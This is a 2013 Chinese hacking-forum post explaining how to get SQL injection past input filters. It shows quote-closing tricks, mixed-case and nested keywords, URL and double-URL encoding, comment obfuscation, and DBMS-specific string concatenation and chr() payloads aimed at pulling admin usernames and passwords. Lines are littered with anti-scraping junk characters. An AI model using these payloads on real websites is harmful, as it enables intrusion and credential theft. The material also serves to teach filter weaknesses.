找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2330|回复: 0
打印 上一主题 下一主题

PHP中SQL注入,绕开过滤,照样注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
SQL注入。有攻有防。知道进攻。才懂得防守." V" _7 `9 }4 G
1 U0 L% M! _. A: H
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。3 U4 H; |* r6 x5 d

: ?8 @1 N& ^7 \  a' W唱出会删除或者净化一些字符,或者阻止常用的sql关键词。
0 b/ a( U8 D3 M4 z# r- ^1 {$ [* {: T% M& [% x* x$ p" ]* S* F7 _
我们通常有以下几种技巧,去避开这些过滤。; F/ B0 k) y* M+ @4 F

. I2 K# E3 a7 W0 x) z$ _+ K1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。3 ~6 P6 {+ N! [# w( ?

7 `. v3 \, f5 U. HA,如果注入一个数字数据字段,就不需要使用单引号。
) \" \  D6 p  Y& J/ E0 x$ W/ r
. i$ p) Y0 R+ LB,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。
8 |+ g; Q/ M( R& z6 j& y& n4 Y: I! |1 k
比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a
( I; @( |: e! Q0 ~! t  V! g, B( n" p" t. y
目的其实很简单,就是把后面的单引号给闭合掉。' y( a# P6 u% Q( H2 ?6 X8 J% s
; F4 G$ v, J( ?. P, k" g
C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
- m% A; m, g. G  L$ }. K& O& y
1 t" W; P2 i2 t! l7 l只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。4 O5 X0 S9 f- a8 X

/ I0 i4 R% U4 i6 s, ?/ h2,避免使用简单确认
% ~  q: |; b- z" x6 t  X1 a. U& p6 ]8 [  i, |' l
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
) I5 d* I: L  T% h4 ?* I, D( m, a% k- G4 _" N$ n( i& M' |
这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
4 g+ C3 A9 f- `) L2 p7 ^6 h
( b; g) g+ Q- r- UA,如果select关键词被阻止或删除
6 Q$ z6 W2 W1 ~: `' N' W5 n" @( j. `% `& V
我们可以输入:4 }1 N' L# M0 r( Q4 f9 R

8 V; X5 v/ m# V7 ]SeLeCt       注意大小写
2 Y# m: o; w$ y# V! O- g7 {
$ R) d* ?* l& [0 Z, p; s8 ^selselectect    还记得ewebeditor是怎么过滤asp的么?3 _2 i1 p( r* C& _: m3 A

' B6 W4 t: @+ W) o4 n: p6 Q%53%45%4c%45%43%54                        URL编码9 D7 s5 ^! q% ~, l: o$ l
! A1 ~' t+ n/ |1 b5 U
%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25+ a; T8 b6 v: a& \- }+ v$ F( T

: d3 T; H. _% I  e3,使用SQL注释符
* p3 T8 D$ D7 ~6 H1 j, ]; o& C% q" D5 S. b
A,使用注释来冒充注入的数据中的空格。
- Y0 I" g  g2 O. @% d$ }7 R, q
* y4 _- u2 y8 ~$ r8 `4 o/ z# Nselect/*yesu*/username,password/*yesu*/from/*yesu*/admin
: Q& N# S: r9 V% r" @: O+ A4 `
, r% X* M- ?- q5 j8 @- K% F, x( K/*yesu*/来冒充空格
: r* e) H! V& K) Z* ?/ y+ a0 X; v- G# i: t/ U1 B- v) j. F
B,使用注释来避开某些注入的确认过滤。
0 h2 C- Q. k6 a& W8 c- D
, N. I  w, _" S/ [" KSEL/*yesu*/ECT username,password fr/*yesu*/om admin$ o! _; F) {4 {2 n* l9 {

: G) k) d: L* j0 z/ m$ A4,处理被阻止的字符串
3 U* }. ?. q3 b0 M- q
$ H3 M8 i- X" ]; D比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。3 p* q' K* e8 i. H$ N+ I

* E. z3 q- d, C( `0 B9 P# Q% @我们可以这样: k6 j$ H; g' @! T

& Y, A+ g" l' |0 f  zA,oracle数据库: ‘adm’||’in’
. E1 n% A! P5 l* h" r& X+ Y% k& v) ~1 U% B; O; [; U4 {& a& A
B,MSSQL数据库: ‘adm’+’in’
0 V/ P" ~; r+ O: O- H+ o8 S6 h6 ^5 o7 ]2 N$ B8 g* @' }
C,MYSQL数据库: concat (‘adm’,’in’)
; y7 U) Y3 S4 I$ Q+ b, o# c
5 c! g; i+ [- }* Z  uD,oracle中如果单引号被阻止了,还可以用chr函数
, h$ d/ ]$ F: @9 c0 y9 K* r1 D+ M0 Q
, n4 T  g! a4 M3 _+ }, l+ hsleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)  G7 R$ V% C9 N- X  }& O

3 k1 Z1 i2 y+ e" D# L还有其他方法。正在收集中.
& L: A% u8 w' h' H4 Z% h
5 G. {" u6 n* }3 B. t& A9 |5 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表